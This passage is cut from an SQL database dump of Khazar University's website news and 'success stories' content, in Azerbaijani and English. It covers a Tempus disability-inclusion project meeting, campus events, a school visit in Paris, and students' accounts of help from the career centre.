style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2017-ci il aprelin23-dən 27-dək Xəzər Universitetinin “Əlilliyi\r\nolan şəxslərin Azərbaycanın ali təhsil müəssisələrinə inteqrasiyasının təməlinin\r\nqoyulması” (ESFIDIP) adlı Tempus layihəsi çərçivəsində Yunanıstanın Makedoniya\r\nUniversitetində görüş keçirildi. Görüşdə yerli tərəfdaş universitetlərin nümayəndələri\r\nilə yanaşı, Təhsil Nazirliyinin, Əmək və Əhalinin Sosial Müdafiəsi Nazirliyinin\r\nvə Əlil Təşkilatları İttifaqının nümayəndələri də iştirak etdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Görüş zamanı layihənin iş paketinə uyğun\r\nolaraq, Makedoniya Universitetinin nümayəndələri əlilliyi olan tələbələrlə\r\nünsiyyətin qurulması və yardımçı\r\navadanlıqlardan istifadə edilməsi haqqında təcrübələrini tərəfdaşlarla bölüşdülər. Həmçinin, yerli tərəfdaş universitetlər\r\nhəyata keçirdikləri pilot proqramlar haqqında təqdimatlar etdilər və Əlilliyi\r\nolan Tələbələr üçün Mərkəzlərin fəaliyyəti haqqında danışdılar.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">“Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə\r\ninteqrasiyasının təməlinin qoyulması” (ESFIDIP) adlı Tempus layihəsi 2017-ci il\r\nmayın 31-də sona çatır və layihənin son konfransı cari il mayın 15-i və 16-da Xəzər\r\nUniversitetində həyata keçiriləcəkdir.</p>'),(3319,1950,'az','Xəzər Universitetinin professoru neft siyasəti ilə bağlı fikirlərini bildirdi ','2017-ci il martın 2-də www.movqe.az informasiya saytında yayınlanan “Azərbaycanın mövqeyi neftin qiymətini xeyl artıra bilər” adlı məqalədə Xəzər Universitetinin neft-qaz geosiyasəti...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil martın 2-də <strong><em>www.movqe.az </em></strong>informasiya saytında yayınlanan “Azərbaycanın\r\nmövqeyi neftin qiymətini xeyl artıra bilər” adlı məqalədə Xəzər Universitetinin\r\nneft-qaz geosiyasəti üzrə professoru Fuat Rəsulovun fikirləri yer almışdır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Məqaləni\r\ntam şəkildə bu link vasitəsilə oxumaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://www.movqe.az/news/iqtisadiyyat/97259.html\">http://www.movqe.az/news/iqtisadiyyat/97259.html</a>.&nbsp;</p>'),(3320,1951,'az','Xocalı soyqırımına həsr olunmuş tədbir','2017-ci il  fevralın 27-də Xəzər Universiteti Təhsil fakültəsinin Azərbaycan dili və ədəbiyyatı ixtisasında təhsil alan tələbələrinin təşkilatçılığı və iştirakı ilə Xocalı soyqırımı...','<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt\";margin-left:17.85pt\"=\"\">2017-ci il&nbsp;\r\nfevralın 27-də Xəzər Universiteti Təhsil fakültəsinin Azərbaycan dili və\r\nədəbiyyatı ixtisasında təhsil alan tələbələrinin təşkilatçılığı və iştirakı ilə\r\nXocalı soyqırımı ilə əlaqədar tədbir keçirildi. Tədbirdə tələbələrdən Səidə\r\nCabbarova, Aytac Həsənova, Aytən Əsgərova, Salatın İbrahimli, Ayşən Mustafalı,\r\nSəkinə Ələkbərova, Aytac Məmmədzadə, Müjgan Fərruxlu, Suğra Əliyeva, Pınar Məmmədzadə,\r\nMirhəcər Kazımlı Xocalı soyqırımının səbəbləri, nəticələri barədə məlumat verməklə\r\nbərabər, həmin faciənin dəhşətlərini əks etdirən səhnələr nümayiş etdirmiş,\r\nşeirlər, musiqilər səsləndirmişlər. </p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt\";margin-left:17.85pt\"=\"\">Tədbirdə Azərbaycan dili və ədəbiyyat\r\ndepartamentinin müdiri Vurğun Əyyub, İctimaiyyətlə əlaqələr və media üzrə\r\ndirektor Əlövsət Əmirbəyli iştirak etmişlər. Tədbirə V. Əyyub yekun vuraraq, təşkilatçılara\r\nvə iştirakçılara təşəkkürünü bildirmişdir.</p>'),(4318,2551,'en','Meeting at Victor Hugo School in Paris','On October 12, 2017, the delegation of Khazar University and ‘Dunya’ School visited...','<p>On October 12, 2017, the delegation of Khazar University and ‘Dunya’ School visited the Victor Hugo School in Paris.</p><p>EIB (Ecole Internationale Bilingue) – the Victor Hugo School, is an international private school located in Paris that offers classes from preschool to high school as well as two years of university curriculum. The Headmistress spoke about the school, its history, and the programs it offers. A presentation about ‘Dunya’ School was conducted by Ms. Marufa Madatli, the Principal of ‘Dunya’ School and Ms. Rena Hasanova, the IB Program Coordinator at Dunya School. A video about Dunya School was also screened.</p><p>The meeting continued with a discussion about the collaboration between the two schools. Prof. Hamlet Isakhanli, the founder of Khazar University, Chairman of its Board of Directors and Trustees and Ms. Naila Isayeva, co-founder of Dunya School invited Ms. France Ponsart to visit Dunya School.</p><p>The meeting ended with a tour of the school.</p>'),(3321,1948,'en','“Ganja State University is one of the partners of the project coordinated by Khazar University”','On March 2, 2017, an article entitled “Ganja State University in a Higher Stage of Development” was published on  the Cumhuriyyet  news website. It is noted in article that Ganja...','<p>On March 2, 2017, an article entitled “Ganja State University\r\nin a Higher Stage of Development” was published on&nbsp; the Cumhuriyyet\r\n&nbsp;news website. It is noted in article that Ganja State University is one\r\nof the partners of&nbsp; ESFIDIP-Tempus – “The\r\nEstablishment of a Foundation for the Integration of Disabled People into HEIs\r\nof Azerbaijan” project\r\nof the European Union coordinated by Khazar University.</p>\r\n<p>The article is available at the following link:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\"><a href=\"http://www.cumhuriyyet.net/cemiyyet/89476-g%C9%99nc%C9%99-dovl%C9%99t-universiteti-inkisafin-yuks%C9%99k-m%C9%99rh%C9%99l%C9%99sind.html\">http://www.cumhuriyyet.net/cemiyyet/89476-gəncə-dovlət-universiteti-inkisafin-yuksək-mərhələsində.html</a>.</p>'),(3322,1949,'en','Interview with Hamlet Isaxanli published','On March 1, 2017, the Azvision news site published an interview with Professor Hamlet Isaxanlı, the founder of  Khazar University and Chairman of its Board of Directors and Trustees...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On\r\nMarch 1, 2017, the Azvision news site published an interview with Professor\r\nHamlet Isaxanlı, the founder of&nbsp; Khazar University and Chairman of its\r\nBoard of Directors and Trustees. The interview entitled “I am the same person\r\n...” was conducted to mark Isaxanli’s 69<sup>th</sup> birthday.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">The\r\ninterview is available at the following link:</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://az.azvision.az/news/112370/69-yasli-hamlet-isaxanli-men-hemin-insanam....html\">http://az.azvision.az/news/112370/69-yasli-hamlet-isaxanli-men-hemin-insanam....html</a>.  <br></p>'),(3323,1951,'en','Event dedicated to Khojaly Tragedy','On February 27, 2017, an event dedicated to the Khojaly tragedy was held at Khazar University with the coordination and participation of Khazar University students majoring...','<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt\";margin-left:17.85pt\"=\"\">On February 27, 2017, an event dedicated to the\r\nKhojaly tragedy was held at Khazar University with the coordination and\r\nparticipation of Khazar University students majoring in Azerbaijani Language\r\nand Literature. The event included poetry, music and stage performances by\r\nstudents Saida Jabbarova, Aytaj Hasanova, Ayten Asgarov, Salatin Ibrahimli,\r\nAyshen Mustafalı, Sakina Alakbarova, Aytaj Mammadzade, Müjgan Ferrukhlu, Sugra\r\nAliyeva, Pinar Mammadzade, Mirhejer Kazimli. They also spoke about the tragedy,\r\nits causes and consequences.</p>\r\n<p>Vurgun\r\nAyyub, Head of the Department of Azerbaijani Language and Literature; and\r\nAlovsat Amirbeyli, Director of Public Relations and Media also took part in the\r\nevent. Vurgun Ayyub made a closing speech in which he expressed his gratitude\r\nto the organizers and participants.</p>'),(3324,1950,'en','Khazar University Professor Talks about Oil Policy','On March 2, 2017, the Movqe news website ran an article “Azerbaijan’s stance can affect the price of oil”. The article includes comments by Prof. Fuat Rasulov, instructor...','<p>On March 2, 2017, the Movqe news website ran an\r\narticle “Azerbaijan’s stance can affect the price of oil”. The article includes\r\ncomments by Prof. Fuat Rasulov, instructor of &nbsp;the&nbsp;Department of\r\nEconomics and Management.&nbsp; </p>\r\n<p>The article is available at the following link:</p><p><a href=\"http://www.movqe.az/news/iqtisadiyyat/97259.html\">http://www.movqe.az/news/iqtisadiyyat/97259.html</a>.  <br></p>'),(3338,1952,'en','Graduation Ceremony for Management Training Course for Potential School Directors at Khazar University','On March 3, 2017, a graduation ceremony was held in the “Marble Hall” of Khazar University to award certificates to 40 graduates who successfully completed the fifth iteration...','<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">On March 3, 2017, a graduation ceremony was held in\r\nthe “Marble Hall” of Khazar University to award certificates to 40 graduates\r\nwho successfully completed the fifth iteration of the Training Course for\r\nPotential School Directors.&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">The main objective of the course is to increase the\r\nknowledge and skills of school directors and educational workers interested in\r\nworking as school directors in the future in accordance with the new education\r\nstrategy and the educational reforms of the country. </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">The three-month course’s classroom sessions included\r\npresentations for the participants, discussions, and conversations. The\r\nparticipants stated that the course was very significant for them and that they\r\nhad been able to apply theoretical and practical knowledge gained through the\r\ncourse.</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">First, a concert was performed under the leadership of\r\nZulfiyya Sadigova, head of the Khazar University Department of Music and Fine\r\nArts, including performances of the university’s Chamber Orchestra&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Prof. Hamlet Isaxanli, the founder of Khazar\r\nUniversity and Chairman of its Board of Directors and Trustees, opened the\r\ngraduation ceremony with a speech about the significance of this course at\r\nKhazar University and the challenges remaining for school directors. &nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Then certificates were awarded to the 40 graduates of\r\nthe course. The certificates were handed out by H. Isaxanli; Isaxan Isaxanli, Vice\r\nRector for Administration and Students Affairs; Raziya Isayeva, Development\r\nDirector; Elza Semedli, Dean of the School of Education; Malak Karimova, Vice\r\nDean of the School of Humanities and Social Sciences and university instructors\r\nAkif Alizade and Vusal Mammadrzayev. After the certificates were presented, the\r\naudience watched slide shows about the course. &nbsp;</p>\r\n<p>On behalf of the graduates, Lachin\r\nRustamova and Latafat Bayramova made speeches to thank Raziya Isayeva, Elza\r\nSemedova and the other course organizers. </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Zohra Mammadova, mother of a graduate of the fifth\r\niteration of the course, who previously served as the director of School no. 155,\r\nmade a speech in which she stressed the importance of the course and expressed\r\nher gratitude to the university administration. </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Group photos were taken.</p>'),(3336,1956,'az','Uğur Hekayələri','Uğur Hekayələri','<p style=\"text-align:left\"><strong>Tərlan Qənbərova</strong></p>\r\n<p style=\"text-align:justify\">Mən Xəzər Universitetində kliniki psixologiya ixtisası üzrə\r\nmagistr təhsili alıram. Hazırda Müasir Psixologiya Mərkəzində fəaliyyət göstərirəm.\r\nKeçən il təqaüd qazanaraq, Erasmus Mundus proqramı vasitəsilə Polşada 10 ay\r\nPsixologiya və davranış elmləri üzrə təhsil aldım. Bu 10 ay müddətində çox\r\nmaraqlı təcrübələr qazanaraq, unudulmaz anılar yaşadım. Buna görə Karyera Mərkəzinin\r\nkoordinatoru – Ulviyyə Huseynovaya öz minnətdarlığımı bildirmək istərdim. O,\r\nmüraciət prosesinin hər bir mərhələsində mənə çox yaxından kömək etmişdir. Onun\r\nköməyi ilə effktiv motivasiya məktubunun və digər bir çox sənədlərin hazırlanma\r\nqaydasını öyrəndim.</p>\r\n<p style=\"text-align:justify\">Son olaraq qeyd etmək istərdim ki, insanlar istədiyi hər şeyə\r\nnail olmağa qadirdirlər. Sadəcə, həyatınızın hər bir anında öz arzu və istəklərinizin\r\narxasınca gedin və çalışın.&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Günay İsmayılova</strong></p>\r\n<p style=\"text-align:justify\">Mən Günay İsmayılova 2015-ci il Xəzər Universiteti Humanitar\r\nvə sosial elmlər fakültəsinin psixologiya ixtisası üzrə məzunuyam. İndi mənim Xəzər\r\nUniversitetində magistraturada ikinci ilimdir. Mən Xəzər Universitetinin\r\nKariyera Mərkəzi tərəfindən təşkil olunmuş Beynəlxalq Psixlogiya Konfrasında\r\nkönüllü idim. Bu, mənim iş təcrübəmi inkişaf etdirməyimə kömək etdi. Bunun üçün\r\nmən Ülviyyə Hüseynovaya təşəkkür edirəm. Mən düşünürəm ki, Xəzər Universiteti tələbələrə\r\ndaha modern yeni dünya görüşü əldə etmək və çoxlu yaxşı insanları tanımaq üçün\r\nasanlıqla kömək edir.</p>\r\n<p style=\"text-align:justify\">&nbsp;Mən&nbsp;“Azərsun” Holdinqin proqramını Xəzər\r\nUniversitetinin Kariyera Mərkəzi tərəfindən təşkil olunmuş kariyera sərgisində\r\ntəqdim etdim. Mən düşünürəm ki, “Azərsun” Holdinq gənc insanlar üçün əla\r\nimkanlar təqdim edir. İlk olaraq, mən CV-mi “Azərsun” Holdinqin səhifəsinə göndərdim\r\nvə əmin oldum ki, onlar məni müsabiqəyə dəvət edəcək. Daha sonra onlar məni “Azərsun”\r\nAkademiyasina müsabiqəyə dəvət etdilər. İlk musabiqədən sonra onlar məni növbəti\r\nmərhələ üçün Azərbaycan İndustrial İnsurance-a dəvət etdilər. Nəticədə, mən\r\nİnsan Resursları departamentində iş təklifi aldım. Mənim üçün ən əsası kariyera\r\ntəcrübəmi İnsan Resursları departamentindən əldə etdim.</p>\r\n<p style=\"text-align:justify\">Mən öz bilik və təcrübələrini mənimlə paylaşdığı üçün Emil\r\nAğarzayevi təqdim etmək istərdim. Həqiqətən də, bu mənim kariyera başlanğıcım\r\nüçün əla təcrübə idi. Mənim əməkdaşlığım həftədə 5 dəfə bütöv gün olmaqla 3 ay\r\noldui.</p>\r\n<p style=\"text-align:justify\">Mən universitetimizin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanliya, Humanitar və sosial elmlər fakültəsinin\r\ndekanı Cabir Xəlilova və bütün müəllimlərimə, xüsusi olaraq, Ülkər İsayevaya və\r\nMələk Kərimovaya təşəkkür edirəm . Mən çox xoşbəxtəm, çünki Xəzər\r\nUniverisitetinin tələbəsiyəm.</p>\r\n<p style=\"text-align:justify\">Son olaraq Xəzər Universitetinə təşəkkür edirəm və bütün tələbələrə\r\nkariyeralarında uğurlar diləyirəm.</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Dinarə Xucatova</strong></p>\r\n<p style=\"text-align:justify\">Bakalavr təhsilimin sonuna yaxınlaşdıqca çox aydın hiss\r\netdim ki, Xəzər Universitetinin məzunu olmaq gələcək karyeram üçün çox\r\nmühimdir. Karyera Mərkəzinin “Caspian İnvestment and Development Corporartion”\r\nşirkətində iş təklif etməsi mənə beynəlxalq şirkətlərlə əlaqənin təməlini\r\nqurmaqda çox kömək etdi. CIDC mənə özümü inkişaf etdirmək, idarəçilik qabiliyyətini\r\nartırmaq üçün əla imkanlar verir.</p>\r\n<p style=\"text-align:justify\">Mən 4 təhsil ili ərzində mühasibat, idarəçilik, insan\r\nresursları və başqa sahələrdə biliklər əldə etdim. Güclü bakalavr bilikləri əsasında\r\nMBA proqramına qəbul oldum və bundan sonra da davam edəcəyəm.</p>\r\n<p>Çox sağ ol, Xəzər Universiteti!</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Cəlal Hüseynbəyli<br></strong>\r\nPolitologiya.Təcrübə Proqramı: Bakcellin&nbsp;“Smart Start” proqramı</p>\r\n<p style=\"text-align:justify\">Xəzər Universitetinin Peşə Mərkəzi tərəfindən təşkil olunmuş\r\nKaryera sərgisində Bakcellin “Smart Start” proqramı ilə tanış oldum. Bakcellin “Smart Start” proqramı\r\ngənclərin ilkin&nbsp;karyera addımı atması üçün mükəmməl fürsətdir. Əvvəlcə ərizə formasını doldurdum və dəvət olunacağıma inandım.</p>\r\n<p style=\"text-align:justify\">İlk qrup müsahibəsindən&nbsp;sonra növbəti mərhələyə keçməklə bağlı inamımı itirmişdim.çünki mənə elə gəlirdi\r\nki,&nbsp;müsahibə&nbsp;yaxşı keçməmişdi,amma üçüncü mərhələnin\r\nsonunda 1500 müraciət arasından&nbsp;sonunda Bakcellin “Smart Start” proqramının Korporativ Satış\r\ndepartamentində işləmək təklifi aldım.&nbsp;Mən karyera yolumda ilk addımı atdım.və qürurla deyə bilərəm ki,bu mənim üçün həqiqətən mükəmməl təcrübə oldu.Təcrübə proqramı həftədə 5 iş günü nəzərə alınmaqla 2 ay\r\ndavam edir.</p><p style=\"text-align:justify\">\r\nİki aylıq təcrübə proqramında iştirakçılar Bakcelldə biznes mühitinin texnoloji\r\nmöcüzələri ilə tanış oldular.Bu təcrübə proqramı müddətində böyük şirkətlərlə kommunikasiya və\r\nbiznes etikası kimi dəyərli biliklər və bacarıqlar əldə etdim. Bakcell həmçinin gündəlik qida və yol məsrəflərini qarşılamaq məqsədilə təcrübəçiləri\r\ntəqaüdlə təmin edir.Təcrübə proqramı tamamlandıqdan sonra iştirakçılar dəyərləndirilir və\r\nonların bu&nbsp;layihədə iştirakını təsdiq edən sertifikatarla təltif edilirlə</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Şamil İsmayılov</strong></p>\r\n<p>Tərcüməçi, Tələbə, İş: Bakcellin \"Hertel\"\r\nşirkəti.</p>\r\n<p>&nbsp;</p>\r\n<p style=\"text-align:justify\">Mən Xəzər universitəsinin 2ci kurs tələbəsiyəm. Mənim GPA\r\nkeçən il 81 idi. Mən Baku 2015 oyunlarında könüllü idim və BEGOC&nbsp;tərəfindən\r\nminnətdarlıqla qarşılandım. Gələcəkdə iş tapmaq üçün Xəzər Universitəsi Peşə\r\nİnkişaf mərkəzi mənim üçün şans yaratdı.İlk növbədə Ülviyyə Hüseynova lazımı\r\nqaydada CV düzəltməyi öyrətdi, daha sonra o ilk iş təcrübəmi əldə etməkdə mənə\r\nkömək etdi. Universitetimə, Peşə İnkişaf Mərkəzinə xüsusilədə Ülviyyə\r\nHüseyinovaya minnətdarlıq hisslərimi çatdırmağa sözlər kifayət deyil. Mən məktəbi\r\nbitirəndə peşəkar tərcüməçi olmağı arzu edirdim. Mən SSAC imtahanından 438\r\npoint əldə etdim. Mən bilirdim ki,&nbsp;Xəzər Universitəsi Azərbaycanda ən çox\r\nçalışqan universitetdir. Buradakı insanların daha ağıllı, daha müasir və çox\r\nyaxşı ətrafı olmasını eşitdim. İndi mən burdayam və həyatın üçün hazırlıqları əldə\r\nedirəm. Təşəkkürlər Xəzər Universitəsi</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Xədicə Aşurova<br></strong>\r\nPsixologiya.Tələbə.İş: \"ParaBank\" ASC-nin İnsan Resursları\r\ndepartamenti</p>\r\n<p style=\"text-align:justify\">Mən Xədicə Aşurova Xəzər Universiteti psixologiya fakultəsinin\r\n2015-ci il məzunuyam.Hal-hazırda&nbsp;\"Parabank\" ASC-nin İnsan Resursları Departamentində iş təcrübəsi əldə\r\nedirəm.İngilis dilində təhsil&nbsp;almışam,Dekanın fəxri vərəqi,IELTS sertifikatı,88 orta balla bağlı fəxri diplom\r\nvə ən önəmlisi Xəzər&nbsp;Universitetinin İnsan Resursları Departamentində ilk iş təcrübəmi əldə&nbsp;etdim.Bunların hər biri mənim&nbsp;işimi əldə etməyimdə böyük köməklik göstərdi.&nbsp;</p><p style=\"text-align:justify\">Mən bildirmək istəyirəm\r\nki,universitetin ən dəyərli hissəsi&nbsp;Peşə Mərkəzidir. Peşə Mərkəzində biz effektiv CV yaratmağı,müsahibələrdə necə\r\niştirak etməli&nbsp;olduğumuzu öyrəndik və həmçinin Peşə Mərkəzi bizə öz CV-lərimizi məşhur şirkətlərlə\r\npaylaşmaq imkanı&nbsp;verdi.Bütün bu önəmli şeylər üçün Ülviyyə Hüseynovaya öz səmimi təşəkkürümü\r\nbildirmək istəyirəm. Xəzər Universiteti mənə yeni dünyagörüşü və çox dəyərli insanlar qazandırdı.Hər\r\nşeydən əvvəl&nbsp;universitetə daxil olduqda mənim universitetə elə də yaxşı yanaşmam yox\r\nidi,çünki universitetim özəl idi&nbsp;və mən bundan utanırdım,lakin sonradan başa düşdüm ki,Xəzər Universitetinin təhsili\r\nən yaxşısıdır.Buna&nbsp;<br>\r\ngörə də mən Xəzər Universitetinin tələbələrinə bildirmək istəyirəm ki,bundan\r\nutanmasınlar. Sonda mən Hamlet İsaxanlıya,Ülkər İsayevaya,Humanitar və Sosial Elmlər\r\ndepartamentinin dekanı Cabir&nbsp;Xəlilova xüsusi təşəkkürümü bildirmək istəyirəm.Mən öz müəllimlərimə bölüşdükləri&nbsp;biliklərindən,təcrübələrindən ötrü minnətdaram.Mən çox xoşbəxtəm ki Xəzər\r\nUniversitetinin&nbsp;<br>\r\nməzunuyam.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Fidan Rüstəmova<br></strong>\r\nNeft Mühəndisliyi: Petroleum Engineering: designer and manager of Noobs team</p>\r\n<p style=\"text-align:justify\">Xəzər Universitetində üçüncü kurs tələbəsiyəm.Bu illər ərzində\r\nçoxlu bilik və dostlar qazandım.Bu&nbsp;təcrübə bu gün belə təsəvvür eliyə biləcəyimdən daha maraqlı və öyrədici\r\noldu.Bu il,2015-ci ildə Noobs&nbsp;komandasında dizayner kimi çalışaraq bu layihənin bir parçası olmaq şansı əldə\r\netdim.Baxmayaraq ki,&nbsp;dizayn işinin neft mühəndisliyi ilə az əlaqəsi var,bu öz yaradıcılığımı ifadə\r\netmək üçün bir vasitə oldu.Noobs ümumi maraqları və dünya görüşü olan və yeni texnologiyanın üstünlüklərini\r\ngöstərmək&nbsp;<br>\r\nməqsədilə layihələr həyata keçirən tələbələrdən ibarət komandadır.2\r\nuniversitetin 4 tələbəsindən ibarət&nbsp;bu komanda bu ilin əvvəlində bir yerdə çalışmağa başlayıb,lakin bu günə kimi\r\nböyük uğurlar əldə edib. Onların iş macərası Microsoft şirkəti tərəfindən keçirilən “Imagine Cup”\r\nyarışmasında təqdim ediləcək&nbsp;innovative məshulun yaradılması ilə başladılar.Çox az vaxtın olmasında\r\nbaxmayaraq,yuxusuz gecələrdən&nbsp;və çətin işlərdən sonra onlar son təslim tarixinə yetişdilər. Noobs iyul ayında “Imagine Cup” dünya finallarında təqdim etmək üçün …layihə\r\ntapdı.Komanda hal-hazırda dəyərli məhsullar yaradılmasına davam etmək məqsədilə bir çox həyəcanlandırıcı\r\nvə texnoloji&nbsp;layihələr üzərində işləyir. Mən indiyə qədər etdiklərim üçün çox həyəcanlıyam və bilirəm ki,bu sadəcə bir\r\nbaşlanğıcdır. Dİgər bütün tələbələrə demək istəyirəm ki,çox çalışın,bu bəs edər.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Tünzalə Talıblı<br></strong>\r\nPsixologiya,tələbə.İş: Logos Uşaq Nitqinin İnkişafı Mərkəzi</p>\r\n<p style=\"text-align:justify\">Adım Tünzalə Talıblıdır,Xəzər Universitetində dördüncü kurs\r\ntələbəsiyəm.İxtisasım psixologiyadır.Uşaq&nbsp;psixologiyasına fokuslanmak üçün seçildim.Bu sahədə,uşaqlara ünsiyyət təcrübənin\r\nolması çox&nbsp;önəmlidir.Buna görə də öz CV-mi Xəzər universitet tərəfindən tələbələrə\r\nkaryeraya başlamaqda yardım&nbsp;etmək məqsədilə yaradılan Peşə Mərkəzinə gətirdim.İki Aydan sonra,Ülviyyə\r\nHüseynova məni&nbsp;müsahibəyə çağırdı.İndi isə 3 həftədir ki,Logos Uşaq Nitqinin İnkişafı Mərkəzində\r\nbaş psixoloq Anarə&nbsp;Baxşəliyevanın yanında təcrübəçi kimi çalışıram.Bütün yardımına görə Ülviyyə\r\nHüseynovaya təşəkkür&nbsp;edirəm.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Aysel Quluyeva</strong></p><p>Biznes İdarəetməsi,tələbə.Təcrübə: FireWorks Human Resources Management</p>\r\n<p style=\"text-align:justify\">Öz həyat məqsədimi müəyyənləşdirdikdən sonra ən böyük çətinliyim\r\nvaxtın idarə olunması oldu.Hamımızın bildiyi kimi,çoxlu maraqlı təlimlər,biznes forumlar,könüllülük\r\nprogramları,təcrübə proqramları mövcuddur.Biz isə hər yerə getmək istəyirik və gündəlik\r\nplanlarımızla başa çıxmaqda&nbsp;problemlərlə üzləşirik.<br>\r\nMənim fikrimcə,həyatda uğur qazanmaq üçün biz mütləq nə istədiyimizi və ona necə\r\nnail olacağımızı&nbsp;bilməliyik.Uğurun əsas elementləri:müsbət düşüncə,mümkün uğursuzluqlardan\r\nqorxmama,əksinə&nbsp;onlardan dərs çıxarma və işlərikxmizin önəm dərəcəsinə görə sıralamadır. Bu strategiya mənə Dekanın fəxri vərəqlərini qazanmaqda yardım etdi.Üstəlik,Tələbələr\r\nİttifaqqına&nbsp;<br>\r\nPrezident Seçkilərində ikinci yeri qazandım və avtomatik olaraq 2013-cü il\r\nDekabrın 5-ində Vitse-Prezident oldum.Bu dövrdə çoxlu dostlar qazandım.Bizim Tələbələr İttifaqı tərəfindən\r\nbir neçə maraqlı&nbsp;tədbirlər təşkil olundu.Onlardan bəziləri:Gül Bayramı oyunu,iştirakçılara hədiyyələrin\r\nverildiyi ABŞ-da&nbsp;təhsil sərgisi, Şirniyyat Satışı fandreyzinq tədbiri,&nbsp;Rəsm&nbsp;sərgisi,Mübarizə Nöqtəsi\r\nİntellektual Oyunu. Bundan əlavə, Junior Achievement Azerbaijan tərəfindən təşkil olunan Youth\r\nBusiness Leadership&nbsp;layihəsində bütün mərhələləri keçcdim və&nbsp;FireWorks HRM şirkətində təcrübəçi\r\nkimi dəyərli iş təcrübəsi&nbsp;<br>\r\nqazandım. Yuxarıda qeyd etdiklərmi nəzərə alaraq,təlimatçılara professional təcrübə əldə\r\netməkdə və daha yaxşı&nbsp;performans üçün motivasiya verilməsində göstərdikləri yardımlarından dolayı təşəkkür\r\nedirəm.Həmçinin&nbsp;Peşə mərkəzinə də tərəbələri təlimlərlə,karyera sərgisi və işlə təmin olunmada\r\ngöstərdikləri köməyə&nbsp;görə minnətdaram.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Nərgiz Əhmədova<br></strong>\r\nFilologiya,tələbə.İş: Xəzər Film və Animasiya Məktəbində Menecer Assistenti</p>\r\n<p style=\"text-align:justify\">Mən 2012-ci ildə&nbsp;Xəzər Universitetinə daxil oldum.Bu\r\ndövrdə bir çox hədəfimə nail oldum.Mən&nbsp;universitetdə ilk ilimdə bir çox tədbirlərin təşkilində iştrak edirdim.Bundan əlavə,mən\r\nXəzər&nbsp;Universitetinin Tələbələr İttifaqının prezidentliyinə namizədliyimi irəli\r\nsürdüm.Nəticədə, hal-hazırda&nbsp;Tələbələr İttifaqının rəhbəriyəm.Bundan başqa, mən Xəzər Universitetinin Peşə Mərkəzinə\r\nmüraciət&nbsp;etdim və Peşə Mərkəzinin koordinatoru Ülviyyə Hüseynova tərəfindən yaradılmış\r\nfürsətlərdən istifadə&nbsp;etdim.Mən öz ixtisasıma uyan müəllim kimi işlədim.Amma yenə də mən istədiyini əldə\r\nedən və cəsarətli&nbsp;biriyəm və öz gələcəyimi müxtəlif sferalarda görürəm.İdarəetmə bacarıqlarıma\r\nuyğun olaraq, Xəzər Film&nbsp;və Animasiya Məktəbi tərəfindən mənə menecer vəzifəsi təklif edildi. Bir sözlə,\r\nmən Xəzər&nbsp;Universitetində əldə etdiyim nailiyyətlər və bacarıqlara görə çox xoşbəxtəm.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Tarlan Qanbarova<br></strong>\r\nPsixologiya,Tələbə.İş:Fövqəladə Hallar Nazirliyində təcrübə</p>\r\n<p style=\"text-align:justify\">Adım Tərlan Qənbərovadır.İxtisasım psixologiyadır.Mən\r\ndördüncü kurs tələbəsi idim və ixtisasım üçün&nbsp;hər hansı bir təcrübə proqramı tapa bilmirdim. Peşə Mərkəzi Center Fövqəladə\r\nHallar Nazirliyində ən&nbsp;yaxşı üç aylıq təcrübə proqramını tapmaq üçün mənə kömək etdi.Və öz sahəmdə\r\nçoxlu təcrübə əldə&nbsp;etdim. Mən fövqəladə hallarda xilasedicilər və qurbanlarının psixologiyası\r\nhaqqında öyrəndim.Hər şey&nbsp;mənim üçün çox maraqlı və unudulmaz idi. Mən Peşə Mərkəzinin koordinatoru Ülviyə\r\nHüseynliyə&nbsp;<br>\r\nminnətdaram.Karyera ilə bağlı bütün tələbələrə 